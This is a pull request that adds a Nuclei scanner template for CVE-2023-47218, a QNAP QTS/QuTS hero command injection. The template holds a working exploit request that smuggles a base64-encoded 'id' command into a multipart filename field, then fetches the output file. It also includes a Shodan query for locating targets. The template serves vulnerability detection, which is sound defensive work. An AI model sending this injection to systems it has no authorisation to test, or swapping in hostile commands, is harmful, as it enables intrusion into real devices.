Merge pull request #9508 from projectdiscovery/CVE-2023-47218

Create CVE-2023-47218.yaml

http/cves/2023/CVE-2023-47218.yaml

@@ -0,0 +1,53 @@
+id: CVE-2023-47218
+
+info:
+  name: QNAP QTS and QuTS Hero  - OS Command Injection
+  author: ritikchaddha
+  severity: high
+  description: |
+    An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later.
+  reference:
+    - https://github.com/passwa11/CVE-2023-47218
+    - https://twitter.com/win3zz/status/1760224052289888668/photo/3
+    - https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-47218
+  classification:
+    cvss-metrics: CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 8.3
+    cwe-id: CWE-78
+    cve-id: CVE-2023-47218
+  metadata:
+    verified: true
+    max-request: 2
+    shodan-query: ssl.cert.issuer.cn:"QNAP NAS",title:"QNAP Turbo NAS"
+  tags: cve,cve2023,qnap,qts,quts,rce,intrusive
+
+variables:
+  file: '{{rand_base(6)}}'
+  cmd: '%22$($(echo -n aWQ=|base64 -d)>{{file}})%22'
+
+http:
+  - raw:
+      - |
+        POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data;boundary="avssqwfz"
+
+        --avssqwfz
+        Content-Disposition: form-data; xxpcscma="field2"; zczqildp="{{cmd}}"
+        Content-Type: text/plain
+
+        skfqduny
+        --avssqwfz–
+
+      - |
+        POST /cgi-bin/quick/{{file}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains_all(body_1, "code\": 200", "full_path_filename success")'
+          - 'contains_all(body_2, "uid=", "gid=")'
+          - 'status_code == 200'
+        condition: and